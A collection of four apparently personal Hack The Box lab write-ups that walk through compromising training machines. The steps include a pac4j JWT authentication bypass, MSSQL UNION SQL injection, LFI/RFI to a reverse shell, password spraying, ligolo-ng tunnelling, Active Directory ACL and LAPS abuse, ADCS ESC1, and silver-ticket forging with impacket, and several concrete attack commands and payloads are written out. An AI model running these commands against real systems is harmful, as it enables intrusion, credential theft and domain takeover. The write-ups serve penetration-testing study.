Contents

• Tools Used
• nmap scan
• JWT Exploitation
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. ffuf – A web fuzzing tool to quickly enumerate websites using wordlists. feroxbuster – A web content discovery tool. This is very similar to ffuf, not quite as flexible but it is faster. hydra – A tool for brute-forcing password attempts through many different protocols. BurpSuite CE – HTTP proxy with tools built in for penetration testing.

nmap scan

The initial nmap scan shows two TCP ports, port 22 and 8080. Port 22 shows that it is running OpenSSH 9.6p1 Ubuntu, and port 8080 reports a Jetty (http) instance with pac4j-jwt/6.0.3 as the “Powered-By” header.

Upon accessing the website via IP, it immediately redirects to /login, and makes an API call to /api/auth/jwks which returns a RSA public key. The website looks like some kind of platform for managing IT operations that is aimed at corporate customers.

I run feroxbuster, which enumerates a few URLs that either give a 500 error or do not lead anywhere. I look through the source code of the page and look at the /static/js/app.js script that is loaded, and it provides information about API endpoints. These endpoints are not accessible and show “unauthenticated” when attempting to reach them with no login.

JWT Exploitation

I search the version of pac4j-jwt and find that it is vulnerable to CVE-2026-29000, which is an authentication bypass vulnerability based on faulty programming logic. The vulnerability exists when an attacker provides a JWE (encrypted JSON Web Token) encrypted with the site's public key that has an inner PlainJWT (unsigned token), the server decrypts the token and does not enforce signature verification if the inner JWT is a PlainJWT.

There is a PoC available from github user alihussainzada here. The PoC pulls the public key from /api/auth/jwks, creates a plain JWT with the desired role and username, encrypts it using the public key and provides the header needed to authenticate as the desired user.

With the token provided by the server using the authentication bypass, I am able to send it as a header and authenticate to the API endpoints to enumeration some information. Since we are looking at API endpoints, you can add the header to a cURL request easily, but I end up just using Burp Suite to intercept my GET requests and insert the header into them that way.

The /api/dashboard endpoint contains a list of login attempts, which we can grab usernames from, and some information such as rotation of SSH keys. I add the usernames to a username_web.list file for easy password spraying.

The /api/users endpoint has a list of all users and their roles. Some interesting things to note here is the service account svc-deploy with the role deployer that contains the note “Service account for automated deployments via SSH certificate auth.”, and that the domain is principal-corp.local.

Finally, the /api/settings endpoint contains information about the system itself and the encryption key being used. My initial thought is to try to authenticate as the svc-deploy account using the same PoC we just used and see if we can assign SSH keys. I don't attempt to login as svc-deploy after checking /static/js/app.js and seeing there is no role for deployer, so it has no additional access that my ROLE_ADMIN has with the current token. In a “real” environment this might have been a means of access by generating SSH keys but here it seems like that part is not developed. I add the password to a passwords_web.list file for easy password spraying.

I suspect svc-deploy has the same password as the encryption key, but to be thorough I run hydra against SSH using the full list of usernames I scraped from the API endpoints. svc-deploy comes back as having the password that is the same as their encryption password.

The credentials work, and we get in via SSH. The next step is enumeration of the box and looking for privilege escalation pathways.

Privilege Escalation

A few things come up during user enumeration: 1. svc-deploy is part of the deployers group, which we need to enumerate now. 2. There are no other users on the box, so we're not looking to move laterally. 3. The svc-deploy user does not have any sudo privileges.

I see the pieces, but my inexperience with certificates causes me to have to look up how I can use these misconfigurations for privilege escalation.

First, I'll lay out the critical pieces that you would enumerate: 1. Viewing 60-principal.conf sshd config shows that root logon is set to prohibit-password, which means we can login using a certificate as root. 2. I did not notice this but it is mentioned elsewhere, TrustedUserCAKeys is set without an AuthorizedPrincipalsFile. This means that any certificate signed by the trusted CA is accepted, and that the principal listed in the certificate is matched against the username being logged into. 3. We have read access to the ca file, which is the private key for the trusted CA.

The escalation path looks like this:

1. Generate a new certificate. 2. Sign the certificate using the CA's private key, which we have read access to. 3. During signing, specify the principal on the certificate as root.

With the certificate signed, we can use it to SSH to the box as root and grab the flag.

Lessons Learned

This box was very short but felt fun and taught me more about JSON Web Tokens, certificates, and more about how to use openssl. I'm slightly embarrassed I had to look up that I needed to generate and sign certificates using the CA, but that is what learning is about and being embarrassed about that kind of stuff will only hold you back.

A note on the box for anyone doing it: I was consistently having issues with the HTTPS service that required restarting the box multiple times. Getting a shell through RFI typically meant the service would not respond anymore after the shell was closed.

Contents

• Tools Used
• nmap scan
• Web Attacks
• Initial Access
• ligolo-ng setup and usage
• Lateral Movement
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used owneredit, mssqlclient, and dacledit. These tools allow you to interact with a Windows domain from a Linux box. hashcat – Hash cracking program. dsacls – A program native to Windows for enumerating AD ACLs. netcat – Network utility that has many uses. For this box, I use it to test if ports are open when I don't want to wait for an nmap scan. ffuf – A web fuzzing tool to quickly enumerate websites using wordlists. Dsquery – A command line tool on Windows for enumerating AD, it produces a lot of good information without requiring the AD module for PowerShell. SQLmap – An automated SQL injection tool, while this didn't work for me in this box because it was custom MSSQL queries, I think with some knowledge of the program it could have done it. hashid – A program for identifying hashes, can output to formats for JohnTheRipper or hashcat. BurpSuite CE – HTTP proxy with tools built in for penetration testing. Netexec – Replacement for crackmapexec, its the Swiss army knife of Windows tools.

nmap scan

This box has typical Windows DC ports for LDAP, RPC, Kerberos, etc. The interesting ports I can see are port 80 and 443, as it seems a website is hosted on this box. I quickly check if the guest account or null sessions are enabled and neither is working, so I believe my only option for enumerating the domain right now is to look for access or credentials on the website.

When navigating to the website, I'm prompted to accept the certificate. Looking over the certificate, I can see two DNS names on here. The one reported by nmap, streamio.htb, and another, watch.streamio.htb. I add both of these to my /etc/hosts file and continue browsing the website.

Web Attacks

The first site, streamio.htb, is an online movie streaming site with not much going on. I test some of the forms for inject-ability, and fuzz using ffuf, but don't get anywhere. There is a “login” and “register” option, but creating an account doesn't seem to do anything, and some quick attempts at default credentials don't hit anything.

The second site, watch.streamio.htb, looks like its still the same type of site, and I don't find much else here. I'll note here that I didn't try fuzzing the second site, which I should have.

I have not done much website penetration testing since I made some changing to my approach to penetration testing, so this makes me nervous. I don't have much in the way of notes or procedures for doing this. I make some vain attempts at finding information or ways in and don't come up with anything.

I check the guided mode for the box, and one of the questions ask “What PHP page in /admin/ says it's “Only accessible through includes”?“. I did not enumerate the /admin/ directory, and this has me thinking that I should be running two wordlists while fuzzing, but that seems excessive, so I'll have to rethink how I should have enumerated that. I enumerate the /admin/ directory and find index.php and master.php. index.php gives a “403 Forbidden” error, and the master.php page states that it's only accessible through includes. So, it seems like we need to find some kind of LFI here to be able to use the master.php file.

I get stuck again while trying to find an LFI or credentials, so again, I check the guide. The guide asks “What PHP page is vulnerable to SQL injection?”. I run ffuf against both watch.streamio.htb and streamio.htb, and both search.php and blocked.php comes up as a page on watch.streamio.htb. This was a major misstep when I was enumerating before, had I found these sites I likely would have not had to check the guide. A search page seems like the perfect place for a SQL injection, so having forgotten everything about SQL injection, I put SQLMap on it. I try this for a while and don't end up getting anywhere, its clear that the injection is here, but I cannot enumerate it. I try using some SQLi cheat sheets to help discover it but I am not successful.

For fuzzing, I use the DirBuster 2.3 medium directory list. Its important when fuzzing for web pages to keep in mind what their extension may be. You can have a wordlist that has the right word, but if you don't have the right extension you may not hit it.

ffuf -w (...)DirBuster-2007_directory-list-2.3-medium.txt -u "https://watch.streamio.htb/FUZZ.php"

SQLmap does not detect any inject-ability, which is confusing for me as this seems like the perfect place for. I try messing with the settings on SQLmap for an hour or two and don't get anywhere. At this point, I need to check the walk-through because I am hard stuck, and I know this page is the injection site because it is the answer to the guide question.

The walk-through tells me that the injection is here, but SQLmap will fail because it is a custom MSSQL instance. It gives me a string to get started injecting and I set off on enumerating the database.

10' union select 1,@@version,3,4,5,6-- -

With minor edits to this snippet, you can query the information you need to enumerate the database and its tables.

This is the format of the injection, it starts with a valid search string (10), uses a ' to end the string, then uses “union select” SQL commands to grab information, and ends with comment characters to comment out the rest of the query. Since there are six columns in this database, we need to supply information for each (1 for column 1, @@version for column 2, etc.).

I follow along the walk-through for the SQL injection portion, having not recorded anything when I was initially studying it several months ago. I am kicking myself this whole time, because I have done the module on SQL injection but can't remember anything about the methodology.

Finally, we dump a table called 'users' that contains usernames and hashed credentials. The hashes are not very long, and a quick check with hashid shows that they are likely MD5.

I run all the hashes through hashcat, and while some do not get cracked, many do. I use the list of usernames and cracked passwords and run them through ffuf to attempt logins on the streamio.htb login portal. One set of credentials works for user yoshihide!

I used the -request switch on ffuf to do the password spraying. The -request switch takes a file that contains the format of the request, which I grabbed from BurpSuite, and uses all of those headers and POST data.

My fuzz.req file looked like this:

POST /login.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=eemhbc5g41fn9sig50gdhqssgc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://streamio.htb
Referer: https://streamio.htb/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=USER&password=PASSWORD

While the ffuf command to utilize it looked like this:

ffuf -request fuzz.req -w userdb_usernames.list:USER -w userdb_passwords.list:PASSWORD -fs 4207

This -fs 4207 in this command is to filter out pages with a size of 4207, which was the size of any request that was unsuccessful.

With a user account, I check if I can authenticate to the domain, which I can't. I check the index.php page that sits in the /admin/ directory and find an Admin panel, that contains some functions for managing the database and users.

I try seeing if I can do some XSS in the “Leave a message for admin”, but I can't find any entry points or LFIs.

I check the guide again, and it states I should be looking for an additional page in the form of a parameter. I fuzz the parameters on the page and debug comes up as a parameter that accepts input. Having just done some LFI training (and taking notes this time!) I start testing this parameter and find the LFI I'm looking for. I can read files on the machine itself, and I start trying to read the index.php and master.php, but neither is displaying correctly. I use the PHP filter php://filter/read=convert.base64-encode/resource= to grab the files as base64 encoded strings, then decode them and read the files. If I had not done the file inclusion module right before this, I would for sure not have found this. After reading the master.php file, we see at the end of it that there is an evaluation being done on file_get_contents, which seems like a way to get an RCE.

I see in the code that there is a parameter, include, that needs to be set to access the eval(file_get_contents). So I need to load the file outside of a direct read, which I can do through the LFI, then pass the include parameter with a path to a file to get evaluated.

I get stuck here trying to form the POST request and have to check the walkthrough, and I was close but not quite there, plus my file was a webshell which was not going to work for the evaluate statement. This request is an RFI instead of a LFI. The remote file is a PHP system() call that gives me remote code execution.

With the request formed, I generate a PowerShell reverse shell from revshells.com and get remote access.

Initial Access

The webserver is running under user yoshihide, who is a low privilege domain user. I enumerate the computer, which has the hostname DC.streamIO.htb, and the domain it hosts.

While enumerating I find some credentials for a MSSQL database in the PHP files. I double check the nmap output and scan again, and it is not accessible from a remote connection, so I'll need to do some port forwarding to get connected to it.

I find these credentials through using findstr, a command line command that will search file contents for a specific string. The command I used that got a hit on this file was:

findstr /s /i admin C:\inetpub\*.*

In this command I'm searching every file in C:\inetpub\ recursively for “admin” in its contents. This can produce a lot of output, but at least its easier to parse. The /s specifies the directory and all subdirectories, while the /i makes the search case insensitive.

So the challenge here is that this MSSQL database is only listening on a local port that is not accessible from our remote host. I can either interact with the SQL server through a [PowerShell module](https://learn.microsoft.com/en-us/powershell/module/sqlserver/?view=sqlserver-ps) or create a tunnel to have my network traffic be directed to the localhost port. I opt for the tunnel using ligolo-ng.

ligolo-ng setup and usage

ligolo-ng is a great method of tunneling to pivot to an internal network or hit resources that you typically would not be able to. Its very easy to setup, and does not have the same limitations that a SOCKS proxy does with regards to ICMP and TCP open scans because the traffic is being routed over IP instead of being port forwarded.

First, we need to download a proxy file that corresponds with the operating system and CPU architecture of our attack box. The proxy file that acts as the server requires elevated privileges. Next, we need to download an agent file that corresponds with the operating system and CPU architecture of our target box. In my case, my attack host is linux amd64, and the target is Windows amd64.

On the attack box, unzip the proxy file you downloaded and run it with sudo or elevated privileges. By default, the program will attempt to get a certificate from LetsEncrypt, so I use the switch -selfcert so that it generates a self-signed certificate for use.

sudo ./proxy -selfcert

In the interactive console for the program, create a tunnel that will be the virtual network adapter that is used to transfer data. In my example, I name this tunnel “wintun”. Make sure this does not conflict with any other adapters you have. After creating this interface, run the command certificate_fingerprint to get a string you can pass for the connection.

interface_create --name "wintun"
certificate_fingerprint

Transfer the agent file to the target box, unzip the file, and run the agent file with the correct parameters. The -connect argument will be the IP of your attack box that is reachable from the target host along with the default port that ligolo-ng uses, 11601, and the -accept-fingerprint argument will be the string you copied before.

.\agent.exe -connect 10.10.15.200:11601 -v -accept-fingerprint <fingerprint>

You should see the session start on your attack host that is running the proxy file. Now we need to select the session and start the tunnel. Type session in the console and select 1 if this is the first connection to the proxy, which it likely is. With the session started, we can start the tunnel with the tunnel_start command.

session
1
tunnel_start --tun wintun

Normally, you could add routing to other subnets after this; for example, if the internal network was 172.16.10.0/24, we could add the route with the following command:

interface_add_route --name wintun --route 172.16.10.0/24

But in our case we want to hit the localhost ports on the target host. To do this, ligolo-ng has a special route that you add for the IP 240.0.0.1/32. We can add this route in the same manner with the following command:

interface_add_route --name wintun --route 240.0.0.1/32

Now, whenever we direct our tools at the IP 240.0.0.1, it will reach out on the localhost on whatever port is specified by the program.

Getting back to the box, after installing ligolo-ng and getting it setup, I use impacket-mssqlclient to connect to the MSSQL instance on the target host.

The db_user account only has access to the same database that we already enumerated, but the db_admin account has access to a backup that contains a similar users table with usernames and hashes.

After cracking the hashes, one of the credentials for user nikk37 works for domain authentication and allows remote access.

The nikk37 user does not have many permissions over anything, so I know I need to move laterally. During DACL enumeration I see that the user JDgodd has CHANGE OWNERSHIP over the CORE STAFF group, and when I check what permissions CORE STAFF have, using PowerView, I see they can read LAPS passwords so I know that is my path to escalation.

Lateral Movement

I do a fiindstr for JDgodd and see a hit in the Firefox profiles section. I use firefox-decrypt to extract the data from the files, but since the device does not have Python installed, I zip the archive and move it to my attack box for decrypting.

findstr /s /i JDgodd C:\*.*

After decrypting the data, I get passwords for a few users. I add these users and passwords to my username.list and password.list and spray, and it turns out that the JDgodd user's password is the same for their Windows authentication, perfect!

The JDgodd user does not have the Remote Management Users group, so I cannot login via Evil-WinRM. I try using runas, but it is denied. In order to make the changes we have a few options, I briefly try ldapmodify, but I cannot get it to function as I want, so I opt for the impacket scripts.

I use impacket-owneredit to change ownership of the CORE STAFF group to the JDgodd user.

impacket-owneredit -action write -new-owner 'JDgodd' -target-dn 'CN=CORE STAFF,CN=Users,DC=streamio,DC=htb' 'streamio.htb'/'JDgodd':'password' -dc-ip 10.129.20.20

With ownership over the group, we can add and remove rights over the group to other users. I assign the WriteMembers right to JDgodd.

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'JDgodd' -target-dn 'CN=CORE STAFF,CN=Users,DC=streamio,DC=htb' 'streamio.htb'/'JDgodd':'password' -dc-ip 10.129.20.20

Finally, I run net rpc to add the user JDgodd to the group. This gives JDgodd access to read LAPS passwords. I use ldapsearch to run the query and the LAPS password for the DC is provided.

net rpc group addmem "CORE STAFF" JDgodd -U streamio.htb/JDgodd%'password' -S 10.129.20.20

ldapsearch -x -H ldap://10.129.20.20 -D 'JDgodd@streamio.htb' -w 'password' -b "DC=streamio,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dNSHostName

We can also use netexec for this, we just need to specify the laps module.

(The passwords are different because I restarted the machine to show the ldapsearch method.)

Privilege Escalation

With this password, we can access the device as Administrator.

I use this access to get to the Desktop of the Martin user, who is a Domain Administrator, where the root.txt flag is.

In a real environment, we'd further escalate by dumping the SAM and get the Martin user's credentials for control over the domain.

Lessons Learned

I struggled a lot with the web attack portion of this, I definitely need to review and note enumeration and attack techniques for web vulnerabilities. It has made me realize how far I have come and my change in approach. The Windows AD portion was pretty normal, nothing significantly challenging, but I have a decent amount of experience with it at this point and have clear goals and things to check off when I get an authenticated account. I'm going to focus on more web attack boxes for the next few weeks to try to improve that portion of my skills.

Thanks for reading!

Contents

• Tools Used
• nmap scan
• Initial Enumeration
• Kerberos Authentication for TGT
• Authenticated Enumeration
• Lateral Movement
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used ticketer and mssqlclient, which allows you to maliciously interact with a Windows system. hashcat – Hash cracking program. certipy – A program for primarily interacting with AD Certificate Services, but has other uses as well. dsacls – A program native to Windows for enumerating AD ACLs. smbclient – Part of the Samba Suite, this program allows you to interact with SMB shares from Linux. netcat – Network utility that has many uses. For this box, I use it to test if ports are open when I don't want to wait for an nmap scan. ktutil – A program for generating keytab or Kerberos V4 srvtab files. kinit – A program for obtaining a ticket-granting ticket. realm – A program for interacting with a Windows Active Directory (AD) domain. krb5-user – A package of tools for interacting with Kerberos. klist – A tool for listing the Kerberos principal and Kerberos tickets held in cache, or keys held in a keytab file. ilSpycmd – A frontend for ILSpy, a program for decompiling .NET programs.

nmap scan

nmap shows quite a few ports open on this box. The normal Windows Domain Controller (DC) ports are open such as DNS, LDAP, SMB, Kerberos, WinRM, etc.

We also see port 80 (HTTP) is listening, port 1433 (MSSQL) is listening, port 4411 is listening which after a cursory google search say it might be “Found Messaging Protocol” which is something I've never heard of, finally port 9389 is listening which might be for Active Directory Web Services. The domain is scrm.local, with the hostname being DC1.

We have a lot to work with and a lot to enumerate.

Initial Enumeration

I check SMB shares, it doesn't appear that they allow Guest or null authentication sessions.

I think my best chance to get some credentials is by enumerating the website on port 80.

The website lists its an intranet for Scramble Corp, it has some stats and a page for IT Services. The IT Services page lists that NTLM authentication is disabled due to a recent breach.

Because NTLM is disabled, the ways I'm used to authenticating are not going to work; however, I am prepared because I've done the “Password Attacks” module on HTB Academy which goes into depth on interacting with Kerberos from Linux.

To authenticate to Kerberos, I need a keytab file. A keytab file stores long-term keys that allow authentication to Kerberos, which will provide a ccache file as long as my authentication remains valid. In order to communicate with the Kerberos Key Distribution Center (KDC), I need to configure realm and add the domain and realm to that. It is important to note that while these concepts are similar in function, domain and realm, they are two separate systems so do not think of them as placeholder names. The realm is the Linux system, and based on its configuration file it talks to a domain it is mapped to.

The domain is scrm.local, so our realm will be SCRM.LOCAL. When referencing either of these two things in this post, the realm will be in all capital letters, SCRM.LOCAL, and the domain will be in all lowercase, scrm.local.

In order to configure the realm, I needed to install realm and krb5-user from the repository. Once installed, I edited /etc/krb5.conf to add the realm.

I added SCRM.LOCAL as the default realm, and added the options under “realms” down below that. It is important to have both the domain and the hostname in your /etc/hosts file.

Down towards the bottom there is a section titles “domain_realm” that ties the domain and realms together.

With these options added, I can now contact the KDC, but first I need a keytab file. I'm going to describe this process very verbosely because this is a learning opportunity for me to straighten out the process, and it might be for you as well.

I take the username I discovered above, ksimpson, and knowledge of their password reset policies, that they put the username as the password on reset, and make a keytab file with these credentials (not knowing if it will authenticate or not yet).

In a real-world situation, you could likely do some social engineering to leave a voicemail for the password reset as they request, but for this box the password is already reset.

Kerberos Authentication for TGT

With the credentials, we create the keytab file using ktutil. Launching this problem brings me to a separate command line, where I can enter the specifics of the credentials.

ktutil

I need to stress here that is is very important that you notate the REALM, which if you're following along will be in ALL CAPS, if you do not, then this keytab file will not work.

addent -password -p ksimpson@SCRM.LOCAL -k 1 -e RC4-HMAC

This will then prompt for the password for ksimpson, which we think is the same as the username from the password reset.

wkt /home/username/Scrambled/ksimpson.keytab

This writes the keytab to the path listed. Using the ~ for your home directory doesn't work here so make sure you have the full path without it.

I check the keytab file with klist and verify that it looks correct:

I have two keytab files here, one where I did not capitalize the realm correctly (top one) and was getting errors when attempting to use it. When attempting to use that file the error I was getting was “kinit: Cannot find KDC for realm scrm.local while getting initial credentials.” Its stating that the realm scrm.local is not configured with a KDC, which is correct because the realm I have configured is SCRM.LOCAL.

With my keytab file, I can attempt to get a ccache file (authenticate to Kerberos) with kinit. kinit will request the user's Ticket Granting Ticket (TGT) and store this ticket in the ccache file, which for me by default is /tmp/krb5cc_1000.

kinit ksimpson@SCRM.LOCAL -k -t ~/Scrambled/ksimpson..keytab

This will attempt to authenticate to Kerberos using the keytab file and generate a TGT for the user. If any errors come up, its likely that you didn't capitalize the realm somewhere.

I verify I have the TGT with klist, this lists what services are authenticated. In the screenshot below I just have the TGT.

To show an example of what a bad authentication looks like, with incorrect password we would get an error during kinit that the credentials are incorrect.

I generated a new keytab file with an incorrect password and attempted to authenticate.

I'll clear this out by deleting the keytab file. If you want to clear an authenticated session, you can delete the /etc/krb5cc_1000 file.

Here is a list of every step I took: 1. Find username and likely credentials (screenshot on webpage, password reset policy). 2. Install krb5-user, realm, kinit, klist, ktutil. 3. Configure /etc/krb5.conf with the realm and domain, paying close attention to capitalization of the realm. 4. Generate keytab file using ktutil. 5. Authenticate to Kerberos using kinit to get TGT.

Authenticated Enumeration

Finally, with an authenticated user, I can start enumerating.

I first enumerate the SMB shares as ksimpson, although this doesn't provide much besides a PDF detailing some changes they made after the compromise. This PDF might be helpful later.

I start enumerating LDAP as well to see what other users exist on the domain, and accounts that may be vulnerable. I add the users to my usernames.list, and enumerate the password policy, which has no threshold so there is no chance of account lockout.

I see some interesting accounts that may be service accounts in the list, so I kerberoast them and get a hit on sqlsvc, likely the MSSQL service account. I plug this hash into hashcat and it returns the password of the service account.

Lateral Movement

Using the same method listed above with ktutil, I generate a keytab file and authenticate as sqlsvc to the domain.

I attempt to authenticate to the MSSQL database as sqlsvc using the kcache that we generated from kinit, but I keep getting an error “KDCERRWRONG_REALM”.

Since I cannot get a TGS from Kerberos for this, I'll make one myself with the Impacket script ticketer.

I grab the domain SID, get the NTLM hash of the sqlsvc password, and generate the TGS but as Administrator, because why not.

I export this to my KRB5CCNAME variable and connect using Impacket's mssqlclient, which lets me in.

In the database, I enumerate the data in there and find additional credentials for the miscsvc account we saw before.

With access to the database as administrator, I can read the flags, but we want to get full control over this machine. I grab both flags and continue.

I enumerate the miscsvc user and do not find anything relevant, I checked DACLs, certipy, BloodHound, and don't find anything. The miscsvc user has access to the “IT” share, which contains an executable and a DLL file for the Sales Order Client application, but without a Windows PC setup to run it I do not pursue this, initially. I briefly tried to get WINE to work, but had no luck at all.

Privilege Escalation

I look over the DLL file using ilSpycmd and see some of the commands that can be sent over the port to the service. I connect using netcat and attempt to logon, but I can't get the logon function to work; however, it doesn't seem that you even need to logon to communicate with the server. I send the LIST_ORDERS command and get back what looks like base64 encoded information.

I end up stopping at this point, assuming I needed to use the executable to get further, and checked the walkthrough to see what the privilege escalation path is. The rest of the attack involves, according to the walkthrough, pouring over the DLL and finding an account that does not need password authentication, using that account to login to the program to generate a log file, identify the weak serialization and exploit it by sending data to call another program on the computer, ideally netcat or a shell.

What I ended up doing was downloading the ysoserial.net program that they mention in the walkthrough, generating the payload using it, and sending that via the listening port 4411 using the SEND_ORDER command, then having the running service call netcat to initiate a reverse shell as SYSTEM. I wouldn't have gotten to this far even with using the executable.

Lessons Learned

This box was fun because it was a change of pace in dealing with an AD domain. I believe more modern deployments of AD have NTLM turned off by default, so getting used to using Kerberos is a good thing. This box involved exploiting weak serialization, which I spotted, but I had no idea how to exploit. I'll be looking for more information in understanding these types of attacks in the future.

Contents

• Tools Used
• nmap scan
• SMB Pillaging
• MSSQL Credential Capture
• Getting Remote Access
• Lateral Movement
• Privilege Escalation
• Silver Ticket Attack
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. enum4linux-ng – A tool for enumerating Windows computers through LDAP and RPC queries. rpcclient – A tool for enumerating MS-RPC on Linux. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used ticketer and mssqlclient, which allows you to maliciously interact with a Windows system. hashcat – Hash cracking program. responder – A MiTM program for capturing credentials or hashes. certipy – A program for primarily interacting with AD Certificate Services, but has other uses as well. dsacls – A program native to Windows for enumerating AD ACLs. smbclient – Part of the Samba Suite, this program allows you to interact with SMB shares from Linux. netcat – Network utility that has many uses. For this box, I use it to test if ports are open when I don't want to wait for an nmap scan. snaffler – A Windows program for searching for credentials on a filesystem.

nmap scan

Initial nmap scan shows ports open for a WIndows Active Directory (AD) Domain Controller (DC). Kerberos, SMB, RPC, LDAP, LDAPS, WinRM are all listening. The entry into this box is through MSSQL, I guess I needed to wait a few more minutes for the service to come up, because its not showing up on the initial scan.

No unusual ports seem to be listening. I see that the device has the hostname dc.sequel.htb. Because the server is using Kerberos, I need to sync my clock with the DC to ensure no errors.

SMB Pillaging

I begin by enumerating the SMB shares, since they have a likelihood of having some information that can help us get a foothold. I see through netexec that null auth session is enabled, but while attempting to enumerate shares with a null auth session, I get “access denied”. I attempt to use the null auth session with smbclient and I can successfully list shares, including a non-standard share named “Public”.

Inside the “Public” folder there is only a single PDF file named “SQL Server Procedures” which I pull down and inspect.

The PDF file gives me a lot of good information: First, it details that there is a mock SQL server instance on the DC; second, that they are using stored credentials with cmdkey; third, it exposes a user account brandom.brown@sequel.htb; fourth, it gives me a low-privilege test account to access the SQL server with.

The issue I run into here, is that I do not see a SQL server listening, which complicates things. I run a UDP scan using nmap to see if there is a SQL browser port listening. I test with netcat to see if the port is listening and nmap just missed it, and that seems to be the case. The port is showing open when connecting with netcat. Running a scan against that individual report shows it being open. I can only guess that I ran the nmap scan too quickly before the service was started.

MSSQL Credential Capture

Knowing that the port is listening, I connect using impacket-mssqlclient and check what options are available. The RECONFIGURE command is not allowed by our PublicUser account, and there are no databases to enumerate, so I try the xp_dirtree command, which attempts to list files in a directory, even if its remote. If I point this command at my machine and run responder, I can capture the credentials of the service account running the SQL server when it authenticates to responder.

I capture the NTLMv2 hash for the account sql_svc, put it into a file, and feed it to hashcat for cracking. Hashcat makes short work of this hash with the basic “rockyou.txt” wordlist and returns the password for the account.

With a domain account, the hard part is done. I start enumerating the domain, first by getting the users and password policy, then looking for weak accounts that can give me privilege escalation.

I use netexec to enumerate all the users, and add their usernames to my username.list file for possible spraying.

I use netexec again to get the password policy, which shows no threshold for lockouts.

I do a quick spray with the sql_svc password against all user accounts and come back with only the known one, sql_svc.

I try enumerating some more information using ldapsearch, but it seems like I'm not authorized to view the domain access control lists (DACLs). I do see that sql_svc is part of the Remote Management Users group, so we have remote access to the machine where I'll start enumerating shortly. Before that, I check the other users that we enumerated to see who else has interesting groups, and the only one who does is ryan.cooper, who also has Remote Management Users. This tells me that we're likely intended to move laterally to ryan.cooper, who may have more permissions than sql_svc.

Getting Remote Access

I login to the box using evil-winrm as the sql_svc user and begin looking for misconfigurations or credentials. From a meta perspective, I know I need to move laterally to ryan.cooper, but in a real world engagement I may not know that so I'm going to keep enumerating normally. I check dsacls.exe for weak permissions and don't find any.

I run a scan with winPEAS and do not find any obvious information to move laterally or escalate privileges.

I run a scan with certipy to see if sql_svc has access to any weak certificate templates and nothing comes up.

I dig around in the file system a bit looking for information and find the SQL Express install directory, I look around in the directory and there is a logs folder with a file titled “ERRORLOG.BAK”. After downloading and looking through the file, I find a line where the user ryan.cooper is attempting to login but seemingly fails , and in this same string of logs an attempt is made by NuclearMosquito3, which could possibly be the password of ryan.cooper if they are entering it too quickly and accidentally enter it as the username.

I try this username and password, and sure enough I get remote access to the machine as the ryan.cooper user.

It feels a little game-y, but I have definitely had this happen to me before when logging into multiple things.

Lateral Movement

I check the user account ryan.cooper and don't see anything immediately available for privilege escalation. I use snaffler to search for passwords but do not find anything. I know that the ryan.cooper user does not have any special privileges to abuse on DACL, so I run certipy again as the user and see an ESC1 template available.

Its interesting that I see this because both ryan.cooper and sql_svc are part of the same groups and have effectively the same permissions.

Privilege Escalation

The privilege escalation is simple with this template, we use certipy to enroll in the certificate and supply administrator@sequel.htb as the Subject Alternative Name (SAN). After the request, I get a PFX certificate back and use certipy auth to get the NTLM hash for the Administrator user.

With the NTLM hash for the Administrator user, I authenticate using Pass-the-Hash and grab the root flag.

I was curious why ryan.cooper could enroll in the certificate and sql_svc couldn't, so I enabled RDP and connected to check the settings on the Certificate Services module.

I see in the “Security” tab for the template that we abused, UserAuthentication, that sql_svc is specifically denied from doing anything with this template, including viewing it. Again, that feels a little game-y, as I don't know why you would do that specifically for the account and not use some kind of group to do that, but I don't have a lot of experience administering an Active Directory environment so maybe specifically denying users from something is normal.

I think its cool to also see the certificate that was issued. You can see the subject is ryan.cooper, but the SAN is administrator@sequel.htb, which is what is checked when doing the authentication with certipy auth. I forgot to take a screenshot of it, but its a certificate for ryan.cooper@sequel.htb, but the Subject Alternative Name lists Administrator@sequel.htb.

Silver Ticket Attack

I reviewed the walkthrough after doing the box, as well as watching the IppSec video, and saw that there is another method of privilege escalation through a silver ticket attack. In this attack, you forge a Ticket Granting Service (TGS) ticket on behalf of a user so you can interact with the service as a different user. In order for this attack to work, you need the password of the service account running the service.

The beauty of this attack, explained in this blog post that was linked in the walkthrough, is that because it is a TGS ticket you present to a service, Kerberos is not involved at all to validate the ticket. This means that we can forge a ticket for Administrator for access to the MSSQL service (because we get the password for sql_svc, which is the account running the service), and abuse Administrator's privileges through MSSQL. As the walkthrough and IppSec demonstrate, you can read the flags directly as Administrator. Its important to note that xp_cmdshell does not give privileges as the forged user because it is spawned by the service account running the service.

I'll really quickly demonstrate how this silver ticket attack works.

What you need: 1. NTLM hash for the service account of the service you want to authenticate to. In the walkthrough, they point you to this website, but IppSec shows a way of generating one using Python. 2. Domain SID, this is easy enough to get. The walkthrough states you can get it through Get-LocalUser and trimming off the last “–” and the numbers that follow it. 3. Domain name, this is simple enough.

Using these resources you craft the TGS using impacket-ticketer with the following command:

impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip 10.129.14.125 -spn sql_svc/DC.SEQUEL.HTB Administrator

The SPN is irrelevant, but as IppSec states, it is easier to identify this attack if the SPN doesn't match an actual user, so I just put sql_svc.

